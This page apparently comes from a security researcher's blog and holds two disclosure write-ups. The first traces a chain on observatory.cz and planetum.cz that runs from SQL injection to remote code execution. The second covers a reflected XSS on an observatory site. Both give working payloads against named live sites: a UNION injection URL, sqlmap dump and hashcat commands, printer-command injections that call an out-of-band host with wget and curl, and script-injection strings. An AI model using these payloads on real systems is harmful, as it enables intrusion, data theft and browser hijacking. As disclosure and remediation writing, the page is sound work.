Tag: xss

  • Chained vulnerabilities leads to Administrative Area Compromise and RCE on on planetum.cz

    Chained vulnerabilities leads to Administrative Area Compromise and RCE on on planetum.cz

    14. December 2025 - reported
    14. December 2025 - responsible worker responded
      (communication in progress - explanation, recommendations)
    20. January 2026 - published

    Write-up

    A security assessment identified an externally reachable attack path that allowed an unauthenticated attacker to progressively gain and escalate access, ultimately resulting in administrative control planetum.cz 🪐 and remote code execution.

    SQL injection on related domain
       ↓
    Credential exposure (weak password hashing)
       ↓
    Lateral movement (credential reuse across domains)
       ↓
    Unauthorized administrative access
       ↓
    Remote Code Execution ☠️

    SQL Injection

    The domain observatory.cz was found to be vulnerable to SQL injection, indicating insufficient server-side input validation.
    For example lets observe this URL:

    https://www.observatory.cz/porady.php?abbr=CHM

    results into

    Usual database response
    Usual database response

    By adding a termination character causes original SELECT to the database invalid and results into syntax error, which sometimes is returned in the browser, then it is called Error Based (In Band).

    In this case database error is not returned, hovewer Union Based (In Band) technique works.
    UNION command effectively concatenate results from original SELECT hardcoded in web application with new, injected one.

    https://www.observatory.cz/porady.php?abbr=' UNION ALL SELECT NULL,concat(user(),'<br>',database(),'<br>',version()),NULL,NULL,'5','6','7','8','9',NULL,NULL-- -

    results into

    SQL injection on planetum.cz
    SQL injection on planetum.cz

    MySQL 4.1.22-log

    The backend runs on MySQL 4.1.22-log (released 2006), which does not include information_schema. Table and column enumeration is still possible through alternative techniques.

    proxychains4 sqlmap -p abbr --batch -u https://www.observatory.cz/porady.php?abbr=CHM --dbms=mysql --technique=B -D vela --common-tables
    
    Database: vela
    [5 tables]
    +----------+
    | events   |
    | log      |
    | program  |
    | services |
    | users    |
    +----------+

    Once the database, tables, and columns are identified, targeted data extraction becomes possible.

    proxychains4 sqlmap -p abbr --batch -u https://www.observatory.cz/porady.php?abbr=CHM --dbms=mysql -D vela -T users --dump --sql-query='SELECT name,login,password FROM vela.users;'

    Credential exposure (weak password hashing)

    The detected password hashes are using non-salted MD5, which is no longer considered secure for password hashing. Modern devices can compute hundreds of billions iterations per second, making MD5 vulnerable to fast brute-force and dictionary attacks.

    hashcat -w 3 -O -m 0 -a 3 --username hash.md5 -i --increment-min=1 --increment-max=8 "?a?a?a?a?a?a?a?a"
    hashcat -w 3 -O -m 0 -a 0 --username hash.md5 --wordlist passwords.dic

    While MD5 may still be suitable for use in fingerprinting or checksums, it is not recommended for protecting passwords due to its weakness against current attack methods.

    Lateral movement (credential reuse across domains)

    Credentials obtained from the related domain were successfully used to authenticate to the administrative interface on carina.planetum.cz

    observatory.cz -> carina.planetum.cz

    Unauthorized administrative access

    Successful authentication to the administrative interface resulted in access to highly sensitive operational and business functionality, including system configuration, user management, transactional workflows and client’s personal informations.

    Login page to administration area
    Login page to administration area

    In Admin Area it is possible to view / manage:

    • payments, invoices, prices, orders, vouchers, ..
    • halls / objects, events, seats, reservations, ..
    • cash registers, printers, other technical equipments, ..
    • accounts / roles of employees, shifts, ..
    • visitors info such an email, phone number, shopping cart, ..
    • sales reports, email communication, database, tickets, ..
    • and more

    Remote Code Execution

    With administrative access obtained in the previous stage, functionality related to printer configuration was identified as a high-risk area. By modifying an existing command definition as shown below, Remote Code Execution was effectively confirmed

    (wget -qO /dev/null http://0ghqze8qso7zfphoiypkk4itekkb83ws.oastify.com/wget 2>/dev/null || true); lp -d Epson {{file}}
    # or
    (curl --silent http://0ghqze8qso7zfphoiypkk4itekkb83ws.oastify.com/curl > /dev/null 2>&1 || true); lp -d Epson {{file}}

    Results in DNS lookup request

    Induced DNS request
    Induced DNS request

    and HTTP request

    RCE confirmed on planetum.cz
    RCE confirmed on planetum.cz

    ⚠️ Remote code execution has been confirmed.

    Other minor vulnerablities

    Activation Code Disclosure via Improper Validation Handling

    During the account registration and activation process, an activation code is sent to the user via email.
    When an invalid activation code is submitted, the application responds by disclosing the correct activation code in the server response. This behavior allows an attacker who knows a user’s email address to:

    • Obtain valid activation codes
    • Bypass the intended activation workflow
    • Iterate activation codes for other users, including already activated accounts

    The issue was confirmed using the following request:

    GET /?action=approve&mail=rozehnal%40planetum.cz&code=invalid-code HTTP/1.1
    Host: rocenka.observatory.cz

    results in

    Activation Code Disclosure via Improper Validation Handling
    Activation Code Disclosure via Improper Validation Handling

    Unauthenticated Email Enumeration via ID Parameter

    An unauthenticated endpoint was identified that allows enumeration of email addresses associated with incomplete user registrations.
    By supplying a numeric identifier via the id parameter, the application discloses the corresponding email address in the server response.

    The issue was confirmed using the following request:

    GET /?action=remail&id=77 HTTP/1.1
    Host: rocenka.observatory.cz

    results in

    Unauthenticated Email Enumeration via ID Parameter
    Unauthenticated Email Enumeration via ID Parameter

    XSS on rocenka.observatory.cz

    A reflected Cross-Site Scripting (XSS) vulnerability was identified on rocenka.observatory.cz.
    User-controlled input is reflected into the HTTP response without proper output encoding, allowing execution of arbitrary JavaScript in the context of the affected domain.

    The issue was confirmed on the following URLs:

    https://rocenka.observatory.cz/index.php?issue=2025&action=%3Cscript%3Ealert(1)%3C/script%3E&getback=1
    https://rocenka.observatory.cz/?action=%3Cscript%3Ealert(1)%3C/script%3E
    https://rocenka.observatory.cz/?action=approve&mail=yfomnvoboeflvylgph%40nespj.com&code=93d082fcdf3fc435c641485693e8db6c<script>alert(1)</script>

    An attacker could leverage this vulnerability to execute malicious scripts in a victim’s browser, potentially leading to session hijacking, unauthorized actions, or data exposure.

    Conclusion / Fixation

    Remote Code Execution (RCE) is a serious security vulnerability that allows an attacker to run arbitrary code on a remote system without authorization. This can result in full system compromise, data theft, or installation of malware, making it a critical issue with significant security impact.

    Considerations

    SQL Injection

    • Implementation proper server-side input validation.
    • Usage of parameterized queries (prepared statements) for all database interactions.

    Credential Exposure

    • Treat all affected credentials as compromised and require a password reset.
    • Use modern, adaptive password hashing algorithms with proper salting (e.g., bcrypt, Argon2).
    • Avoid fast, general-purpose hash functions (such as MD5) for password storage.

    Lateral movement

    • Review whether internal or administrative systems (e.g., carina.planetum.cz) need to be publicly accessible.
    • Implement protection mechanisms against automated authentication attempts (e.g., rate limiting or brute-force protection).
    • Enforce multi-factor authentication, at minimum for privileged or administrative accounts.
    • Strengthen password policy to reduce the risk of credential reuse and guessing.

    Unauthorized administrative access

    • Enforce multi-factor authentication for all administrative and privileged accounts.
    • Apply additional access controls to administrative interfaces (e.g., network restrictions or IP allowlisting).
    • Strengthen password policy requirements for administrative accounts.
    • Ensure sufficient logging and monitoring of administrative authentication and actions.

    Remote Code Execution

    • Avoid execution of direct operating system commands from application-level configuration.
    • Isolate printing and similar system-level functionality from the main application context.
    • Apply strict allowlisting for any required system commands and parameters.
    • Run services executing OS-level commands with minimal privileges.
    • Implement additional monitoring and alerting for execution of system-level operations.

    security.txt

    A good practice is to publish a security.txt document in accordance with RFC 9116. It’s a simple, small text file that tells ethical hackers how securely report any findings, if you’re interested. Inspiration you can find here:

    CompanyURL
    Googlehttps://www.google.com/.well-known/security.txt
    Applehttps://www.apple.com/.well-known/security.txt
    Microsofthttps://www.microsoft.com/.well-known/security.txt
    Rohlikhttps://www.rohlik.cz/.well-known/security.txt
    Alzahttps://www.alza.cz/.well-known/security.txt
    Kosikhttps://www.kosik.cz/security.txt
  • Reflected XSS at ČeskĂŠ Budějovice Observatory

    Reflected XSS at České Budějovice Observatory

    17. November 2024 - Vulnerability was reported
    24. August 2025   - Follow-up report resent

    A security vulnerability of the type reflected Cross-Site Scripting (XSS) has been identified, which could potentially be exploited to compromise the security of user data.

    The vulnerability is caused by the possibility of injecting malicious code through an input field. Such code could be executed in the web browser of other users, which may result in the disclosure of sensitive information (for example cookies) or lead to other security issues.

    The vulnerability has been observed on the following websites:

    Proof-of-concept

    The search form on all the mentioned websites contains a reflected XSS vulnerability. By entering this into the search field

    "><script>alert('reflected')</script><img src=x style=display:none onerror=null alt="

    you trigger reflected XSS.

    Reflected XSS vulnerability triggered via search input
    Reflected XSS vulnerability triggered via search input

    Attackers typically do not act this way, as the victim is aware of cooperation and the result is visible.

    In reality, the attack would be invisible and unnoticeable to the victim, and could look like this:

    1. The victim visits a link, for example via QR code from flyer, Facebook event, email, etc. The link itself may appear normal—shortened URLs are commonly used and raise no suspicion. Attackers rely on social engineering, for example, by inviting the victim to check out an astronomical object, pretending to inquire about a tour, and so on.
    2. The visited page then silently redirects the victim, as expected, to the legitimate website https://hvezdarnacb.cz. The observatory’s site appears normal and work as intended.
    3. However, in addition to visiting https://hvezdarnacb.cz, the victim’s browser get invisibly posioned.
    4. Depending on its complexity, this code can carry out the attacker’s intentions. Through JavaScript, the attacker could essentially take control of the victim’s browser remotely without their knowledge. This could include stealing access to the administration panel, attempting to control the webcam, spawning fake login prompts for services like Facebook, or silently recording user activity on the site.

    Example

    1. Victim clicks on the link (webpage, QR code, email,..) and get redirected as expected
    2. Meanwhile victim’s JavaScript runtime environment get poisoned
    3. Attacker can log victim’s activity, send fake login form and more.

    Upper screen is an victim, lower is attacker.

    Attacker manipulates victim's browser
    Attacker manipulates victim’s browser

    Fixation

    The good news is that there are protective mechanisms to prevent this behavior, or at least mitigate it, and they are commonly implemented in practice.

    • Filter user’s input in forms
    • Implementing CSP (Content Security Policy) prevents arbitrary scripts from being loaded into the victim’s browser environment (arbitrary scripts pose the highest risk).
    • Implementing cookie security attributes—HttpOnly, Secure, SameSite—prevents an attacker from easily manipulating cookies and impersonating an administrator.

    A good practice is to publish a security.txt document in accordance with RFC 9116. It’s a simple, small text file that tells ethical hackers how securely report any findings, if you’re interested. Inspiration you can find here:

    CompanyURL
    Googlehttps://www.google.com/.well-known/security.txt
    Applehttps://www.apple.com/.well-known/security.txt
    Microsofthttps://www.microsoft.com/.well-known/security.txt
    Rohlikhttps://www.rohlik.cz/.well-known/security.txt
    Alzahttps://www.alza.cz/.well-known/security.txt
    Kosikhttps://www.kosik.cz/security.txt